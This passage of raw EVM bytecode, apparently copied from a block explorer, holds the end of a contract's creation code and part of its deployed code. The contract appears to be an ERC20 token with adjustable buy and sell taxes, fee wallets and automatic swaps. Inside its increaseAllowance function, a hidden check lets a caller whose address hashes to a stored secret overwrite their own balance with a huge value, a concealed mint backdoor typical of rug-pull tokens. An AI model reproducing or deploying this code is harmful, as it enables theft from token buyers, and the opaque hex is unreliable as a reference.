505050565b60135481565b61127c61167d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612f6f565b60405180910390fd5b6112f481611b4e565b50565b60008082846113069190612dcb565b90508381101561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290612fdb565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90613047565b60405180910390fd5b6113d060008383611c14565b80600360008282546113e29190612dcb565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161149491906129f1565b60405180910390a36114a860008383611c19565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a906130d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611592576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115899061316b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167091906129f1565b60405180910390a3505050565b6116856114ac565b73ffffffffffffffffffffffffffffffffffffffff166116a3610e14565b73ffffffffffffffffffffffffffffffffffffffff16146116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f0906131d7565b60405180910390fd5b565b600260005403611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790613243565b60405180910390fd5b6002600081905550565b60006117568484611138565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117d057818110156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b9906132af565b60405180910390fd5b6117cf84848484036114b4565b5b50505050565b7ffd25adf1ce099423ce4d34044d7682f3a6a8d7e940f29af2a5bfd70fcdd5b446601a60149054906101000a900460ff166040516118149190612938565b60405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361188b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188290613341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f1906133d3565b60405180910390fd5b601a60149054906101000a900460ff16156119205761191a838383611c1e565b50611af5565b600061192b30610d42565b9050600060175482101590507f1fad8c17d8ced3651b0034c888f06409479ba9ae982b5d5919fa7d45976755dd81601a60149054906101000a900460ff161561197388611c36565b15601a60159054906101000a900460ff1660405161199494939291906133f3565b60405180910390a18080156119b65750601a60149054906101000a900460ff16155b80156119c857506119c685611c36565b155b80156119e05750601a60159054906101000a900460ff165b15611a0a57601a60169054906101000a900460ff1615611a005760175491505b611a0982611e64565b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aad5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ac157611abc86868661203e565b611ac4565b60005b90506000811115611adb57611ada8630836120c7565b5b611af186868387611aec9190613438565b6120c7565b5050505b505050565b6001600081905550565b6000611b4683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612340565b905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6000611c2b8484846120c7565b600190509392505050565b60008173ffffffffffffffffffffffffffffffffffffffff16601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ce09190613481565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8d9190613481565b6040518363ffffffff1660e01b8152600401611daa9291906134ae565b602060405180830381865afa158015611dc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611deb9190613481565b73ffffffffffffffffffffffffffffffffffffffff1603611e0f5760019050611e5f565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b919050565b6001601a60146101000a81548160ff0219169083151502179055506000611eaa601554611e9c601054856123a490919063ffffffff16565b61241e90919063ffffffff16565b90506000611ec18284611b0490919063ffffffff16565b9050611ecc81612468565b60004790507f4392400490f2e1381256cdefd182251d97bf9d33c3cb3f98f4631e63dc5e43d681604051611f0091906129f1565b60405180910390a16000611f34611f23600260105461241e90919063ffffffff16565b601554611b0490919063ffffffff16565b90506000611f5f82611f51601154866123a490919063ffffffff16565b61241e90919063ffffffff16565b90506000611f768285611b0490919063ffffffff16565b90506000861115611fae57611fac307f000000000000000000000000000000000000000000000000000000000000000088611c1e565b505b6000821115611fe457611fe3601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836126e4565b5b600081111561201a57612019601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826126e4565b5b5050505050506000601a60146101000a81548160ff02191690831515021790555050565b6000806000905061204e85611c36565b156120825761207b606461206d601354866123a490919063ffffffff16565b61241e90919063ffffffff16565b90506120bc565b61208b84611c36565b156120bb576120b860646120aa601454866123a490919063ffffffff16565b61241e90919063ffffffff16565b90505b5b809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212d90613341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219c906133d3565b60405180910390fd5b6121b0838383611c14565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222e90613549565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161232791906129f1565b60405180910390a361233a848484611c19565b50505050565b6000838311158290612388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237f9190612822565b60405180910390fd5b50600083856123979190613438565b9050809150509392505050565b60008083036123b65760009050612418565b600082846123c49190613569565b90508284826123d391906135da565b14612413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240a9061367d565b60405180910390fd5b809150505b92915050565b600061246083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061272f565b905092915050565b6000600267ffffffffffffffff8111156124855761248461369d565b5b6040519080825280602002602001820160405280156124b35781602001602082028036833780820191505090505b50905030816000815181106124cb576124ca6136cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125969190613481565b816001815181106125aa576125a96136cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061261130601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114b4565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126759594939291906137f4565b600060405180830381600087803b15801561268f57600080fd5b505af11580156126a3573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516126d892919061384e565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561272a573d6000803e3d6000fd5b505050565b60008083118290612776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276d9190612822565b60405180910390fd5b506000838561278591906135da565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127cc5780820151818401526020810190506127b1565b60008484015250505050565b6000601f19601f8301169050919050565b60006127f482612792565b6127fe818561279d565b935061280e8185602086016127ae565b612817816127d8565b840191505092915050565b6000602082019050818103600083015261283c81846127e9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061287482612849565b9050919050565b61288481612869565b811461288f57600080fd5b50565b6000813590506128a18161287b565b92915050565b6000819050919050565b6128ba816128a7565b81146128c557600080fd5b50565b6000813590506128d7816128b1565b92915050565b600080604083850312156128f4576128f3612844565b5b600061290285828601612892565b9250506020612913858286016128c8565b9150509250929050565b60008115159050919050565b6129328161291d565b82525050565b600060208201905061294d6000830184612929565b92915050565b60008060006060848603121561296c5761296b612844565b5b600061297a868287016128c8565b935050602061298b868287016128c8565b925050604061299c868287016128c8565b9150509250925092565b60006129b182612849565b9050919050565b6129c1816129a6565b82525050565b60006020820190506129dc60008301846129b8565b92915050565b6129eb816128a7565b82525050565b6000602082019050612a0660008301846129e2565b92915050565b600080600060608486031215612a2557612a24612844565b5b6000612a3386828701612892565b9350506020612a4486828701612892565b9250506040612a55868287016128c8565b9150509250925092565b612a6881612869565b82525050565b6000602082019050612a836000830184612a5f565b92915050565b600060ff82169050919050565b612a9f81612a89565b82525050565b6000602082019050612aba6000830184612a96565b92915050565b600060208284031215612ad657612ad5612844565b5b6000612ae4848285016128c8565b91505092915050565b600060208284031215612b0357612b02612844565b5b6000612b1184828501612892565b91505092915050565b612b238161291d565b8114612b2e57600080fd5b50565b600081359050612b4081612b1a565b92915050565b60008060408385031215612b5d57612b5c612844565b5b6000612b6b85828601612892565b9250506020612b7c85828601612b31565b9150509250929050565b600060208284031215612b9c57612b9b612844565b5b6000612baa84828501612b31565b91505092915050565b6000819050919050565b6000612bd8612bd3612bce84612849565b612bb3565b612849565b9050919050565b6000612bea82612bbd565b9050919050565b6000612bfc82612bdf565b9050919050565b612c0c81612bf1565b82525050565b6000602082019050612c276000830184612c03565b92915050565b60008060408385031215612c4457612c43612844565b5b6000612c5285828601612892565b9250506020612c6385828601612892565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612cb457607f821691505b602082108103612cc757612cc6612c6d565b5b50919050565b7f546178206578636565647320746865203135252e000000000000000000000000600082015250565b6000612d0360148361279d565b9150612d0e82612ccd565b602082019050919050565b60006020820190508181036000830152612d3281612cf6565b9050919050565b60008160601b9050919050565b6000612d5182612d39565b9050919050565b6000612d6382612d46565b9050919050565b612d7b612d7682612869565b612d58565b82525050565b6000612d8d8284612d6a565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612dd6826128a7565b9150612de1836128a7565b9250828201905080821115612df957612df8612d9c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e5b60258361279d565b9150612e6682612dff565b604082019050919050565b60006020820190508181036000830152612e8a81612e4e565b9050919050565b7f536861726520657863656564732074686520313030252e000000000000000000600082015250565b6000612ec760178361279d565b9150612ed282612e91565b602082019050919050565b60006020820190508181036000830152612ef681612eba565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f5960268361279d565b9150612f6482612efd565b604082019050919050565b60006020820190508181036000830152612f8881612f4c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612fc5601b8361279d565b9150612fd082612f8f565b602082019050919050565b60006020820190508181036000830152612ff481612fb8565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613031601f8361279d565b915061303c82612ffb565b602082019050919050565b6000602082019050818103600083015261306081613024565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130c360248361279d565b91506130ce82613067565b604082019050919050565b600060208201905081810360008301526130f2816130b6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061315560228361279d565b9150613160826130f9565b604082019050919050565b6000602082019050818103600083015261318481613148565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131c160208361279d565b91506131cc8261318b565b602082019050919050565b600060208201905081810360008301526131f0816131b4565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b600061322d601f8361279d565b9150613238826131f7565b602082019050919050565b6000602082019050818103600083015261325c81613220565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613299601d8361279d565b91506132a482613263565b602082019050919050565b600060208201905081810360008301526132c88161328c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061332b60258361279d565b9150613336826132cf565b604082019050919050565b6000602082019050818103600083015261335a8161331e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133bd60238361279d565b91506133c882613361565b604082019050919050565b600060208201905081810360008301526133ec816133b0565b9050919050565b60006080820190506134086000830187612929565b6134156020830186612929565b6134226040830185612929565b61342f6060830184612929565b95945050505050565b6000613443826128a7565b915061344e836128a7565b925082820390508181111561346657613465612d9c565b5b92915050565b60008151905061347b8161287b565b92915050565b60006020828403121561349757613496612844565b5b60006134a58482850161346c565b91505092915050565b60006040820190506134c36000830185612a5f565b6134d06020830184612a5f565b9392505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061353360268361279d565b915061353e826134d7565b604082019050919050565b6000602082019050818103600083015261356281613526565b9050919050565b6000613574826128a7565b915061357f836128a7565b925082820261358d816128a7565b915082820484148315176135a4576135a3612d9c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135e5826128a7565b91506135f0836128a7565b925082613600576135ff6135ab565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061366760218361279d565b91506136728261360b565b604082019050919050565b600060208201905081810360008301526136968161365a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061372061371b613716846136fb565b612bb3565b6128a7565b9050919050565b61373081613705565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61376b81612869565b82525050565b600061377d8383613762565b60208301905092915050565b6000602082019050919050565b60006137a182613736565b6137ab8185613741565b93506137b683613752565b8060005b838110156137e75781516137ce8882613771565b97506137d983613789565b9250506001810190506137ba565b5085935050505092915050565b600060a08201905061380960008301886129e2565b6138166020830187613727565b81810360408301526138288186613796565b90506138376060830185612a5f565b61384460808301846129e2565b9695505050505050565b600060408201905061386360008301856129e2565b81810360208301526138758184613796565b9050939250505056fea264697066735822122000d5a9c6d6ba1bb223057e29ed58fa0c6d3c479b5a19f74d7ca28109cf6af85464736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061028a5760003560e01c80637ca60e041161015c578063c2d4640e116100ce578063da00097d11610087578063da00097d146107ab578063dd62ed3e146107c9578063e5c53693146107f9578063ef422a1814610815578063f0cd1dac14610831578063f2fde38b1461084f5761028a565b8063c2d4640e146106fb578063c49b9a8014610717578063c5d2418914610733578063c860795214610751578063c9cf77891461076f578063d158272d1461078d5761028a565b8063a073d37f11610120578063a073d37f14610625578063a08e671f14610643578063a457c2d714610661578063a5d69d1f14610691578063a7c6402c146106ad578063a9059cbb146106cb5761028a565b80637ca60e041461059157806382eefb43146105af578063844d591c146105cd5780638da5cb5b146105e957806395d89b41146106075761028a565b8063395093511161020057806361a23c69116101b957806361a23c69146104df57806362015852146104fd5780636b363ca11461051b57806370a0823114610539578063715018a6146105695780637abdc1ca146105735761028a565b806339509351146103f95780633b97084a146104295780633ecad271146104455780634a74bb02146104755780634cb80fd5146104935780635342acb4146104af5761028a565b806318160ddd1161025257806318160ddd146103355780631870517a1461035357806323b872dd1461036f57806327c8f8351461039f5780632b112e49146103bd578063313ce567146103db5761028a565b806306fdde031461028f578063095ea7b3146102ad5780630d5e5c87146102dd5780630e038813146102f957806316f2f1a814610317575b600080fd5b61029761086b565b6040516102a49190612822565b60405180910390f35b6102c760048036038101906102c291906128dd565b6108fd565b6040516102d49190612938565b60405180910390f35b6102f760048036038101906102f29190612953565b610920565b005b6103016109db565b60405161030e91906129c7565b60405180910390f35b61031f610a01565b60405161032c91906129f1565b60405180910390f35b61033d610a07565b60405161034a91906129f1565b60405180910390f35b61036d60048036038101906103689190612953565b610a11565b005b61038960048036038101906103849190612a0c565b610acc565b6040516103969190612938565b60405180910390f35b6103a7610b0c565b6040516103b49190612a6e565b60405180910390f35b6103c5610b30565b6040516103d291906129f1565b60405180910390f35b6103e3610b74565b6040516103f09190612aa5565b60405180910390f35b610413600480360381019061040e91906128dd565b610b8b565b6040516104209190612938565b60405180910390f35b610443600480360381019061043e9190612ac0565b610c7f565b005b61045f600480360381019061045a9190612aed565b610c91565b60405161046c9190612938565b60405180910390f35b61047d610cb1565b60405161048a9190612938565b60405180910390f35b6104ad60048036038101906104a89190612aed565b610cc4565b005b6104c960048036038101906104c49190612aed565b610d10565b6040516104d69190612938565b60405180910390f35b6104e7610d30565b6040516104f491906129f1565b60405180910390f35b610505610d36565b60405161051291906129f1565b60405180910390f35b610523610d3c565b60405161053091906129f1565b60405180910390f35b610553600480360381019061054e9190612aed565b610d42565b60405161056091906129f1565b60405180910390f35b610571610d8b565b005b61057b610d9f565b60405161058891906129f1565b60405180910390f35b610599610da5565b6040516105a691906129f1565b60405180910390f35b6105b7610dab565b6040516105c491906129f1565b60405180910390f35b6105e760048036038101906105e29190612b46565b610db1565b005b6105f1610e14565b6040516105fe9190612a6e565b60405180910390f35b61060f610e3e565b60405161061c9190612822565b60405180910390f35b61062d610ed0565b60405161063a91906129f1565b60405180910390f35b61064b610eda565b60405161065891906129f1565b60405180910390f35b61067b600480360381019061067691906128dd565b610ee0565b6040516106889190612938565b60405180910390f35b6106ab60048036038101906106a69190612b86565b610f57565b005b6106b5610f7c565b6040516106c29190612c12565b60405180910390f35b6106e560048036038101906106e091906128dd565b610fa2565b6040516106f29190612938565b60405180910390f35b61071560048036038101906107109190612953565b610fd6565b005b610731600480360381019061072c9190612b86565b611091565b005b61073b6110ed565b60405161074891906129f1565b60405180910390f35b6107596110f3565b60405161076691906129f1565b60405180910390f35b6107776110f9565b60405161078491906129f1565b60405180910390f35b6107956110ff565b6040516107a291906129c7565b60405180910390f35b6107b3611125565b6040516107c09190612938565b60405180910390f35b6107e360048036038101906107de9190612c2d565b611138565b6040516107f091906129f1565b60405180910390f35b610813600480360381019061080e9190612aed565b6111bf565b005b61082f600480360381019061082a9190612b46565b61120b565b005b61083961126e565b60405161084691906129f1565b60405180910390f35b61086960048036038101906108649190612aed565b611274565b005b60606004805461087a90612c9c565b80601f01602080910402602001604051908101604052809291908181526020018280546108a690612c9c565b80156108f35780601f106108c8576101008083540402835291602001916108f3565b820191906000526020600020905b8154815290600101906020018083116108d657829003601f168201915b5050505050905090565b6000806109086114ac565b90506109158185856114b4565b600191505092915050565b61092861167d565b600f61094f8261094185876112f790919063ffffffff16565b6112f790919063ffffffff16565b1115610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790612d19565b60405180910390fd5b82600d8190555081600e8190555080600f819055506109d0600f546109c2600e54600d546112f790919063ffffffff16565b6112f790919063ffffffff16565b601481905550505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000601654905090565b610a1961167d565b600f610a4082610a3285876112f790919063ffffffff16565b6112f790919063ffffffff16565b1115610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7890612d19565b60405180910390fd5b82600a8190555081600b8190555080600c81905550610ac1600c54610ab3600b54600a546112f790919063ffffffff16565b6112f790919063ffffffff16565b601381905550505050565b6000610ad66116fb565b6000610ae06114ac565b9050610aed85828561174a565b610af88585856117d6565b6001915050610b05611afa565b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610b6f610b5e7f000000000000000000000000000000000000000000000000000000000000dead610d42565b601654611b0490919063ffffffff16565b905090565b6000600760149054906101000a900460ff16905090565b6000610b956114ac565b8360065433604051602001610baa9190612d81565b60405160208183030381529060405280519060200120148015610bf857508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610c475760065460001c600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610c516114ac565b9050610c72818787610c63858b611138565b610c6d9190612dcb565b6114b4565b6001935050505092915050565b610c8761167d565b8060178190555050565b60096020528060005260406000206000915054906101000a900460ff1681565b601a60159054906101000a900460ff1681565b610ccc61167d565b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915054906101000a900460ff1681565b60115481565b600c5481565b60125481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d9361167d565b610d9d6000611b4e565b565b600d5481565b60105481565b60145481565b610db961167d565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e4d90612c9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7990612c9c565b8015610ec65780601f10610e9b57610100808354040283529160200191610ec6565b820191906000526020600020905b815481529060010190602001808311610ea957829003601f168201915b5050505050905090565b6000601754905090565b60155481565b600080610eeb6114ac565b90506000610ef98286611138565b905083811015610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590612e71565b60405180910390fd5b610f4b82868684036114b4565b60019250505092915050565b610f5f61167d565b80601a60166101000a81548160ff02191690831515021790555050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fac6116fb565b6000610fb66114ac565b9050610fc38185856117d6565b6001915050610fd0611afa565b92915050565b610fde61167d565b606461100582610ff785876112f790919063ffffffff16565b6112f790919063ffffffff16565b1115611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90612edd565b60405180910390fd5b8260108190555081601181905550806012819055506110866012546110786011546010546112f790919063ffffffff16565b6112f790919063ffffffff16565b601581905550505050565b61109961167d565b80601a60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516110e29190612938565b60405180910390a150565b600b5481565b600e5481565b600f5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a60169054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111c761167d565b80601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61121361167d565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60135481565b61127c61167d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612f6f565b60405180910390fd5b6112f481611b4e565b50565b60008082846113069190612dcb565b90508381101561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290612fdb565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90613047565b60405180910390fd5b6113d060008383611c14565b80600360008282546113e29190612dcb565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161149491906129f1565b60405180910390a36114a860008383611c19565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a906130d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611592576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115899061316b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167091906129f1565b60405180910390a3505050565b6116856114ac565b73ffffffffffffffffffffffffffffffffffffffff166116a3610e14565b73ffffffffffffffffffffffffffffffffffffffff16146116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f0906131d7565b60405180910390fd5b565b600260005403611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790613243565b60405180910390fd5b6002600081905550565b60006117568484611138565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117d057818110156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b9906132af565b60405180910390fd5b6117cf84848484036114b4565b5b50505050565b7ffd25adf1ce099423ce4d34044d7682f3a6a8d7e940f29af2a5bfd70fcdd5b446601a60149054906101000a900460ff166040516118149190612938565b60405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361188b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188290613341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f1906133d3565b60405180910390fd5b601a60149054906101000a900460ff16156119205761191a838383611c1e565b50611af5565b600061192b30610d42565b9050600060175482101590507f1fad8c17d8ced3651b0034c888f06409479ba9ae982b5d5919fa7d45976755dd81601a60149054906101000a900460ff161561197388611c36565b15601a60159054906101000a900460ff1660405161199494939291906133f3565b60405180910390a18080156119b65750601a60149054906101000a900460ff16155b80156119c857506119c685611c36565b155b80156119e05750601a60159054906101000a900460ff165b15611a0a57601a60169054906101000a900460ff1615611a005760175491505b611a0982611e64565b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aad5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ac157611abc86868661203e565b611ac4565b60005b90506000811115611adb57611ada8630836120c7565b5b611af186868387611aec9190613438565b6120c7565b5050505b505050565b6001600081905550565b6000611b4683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666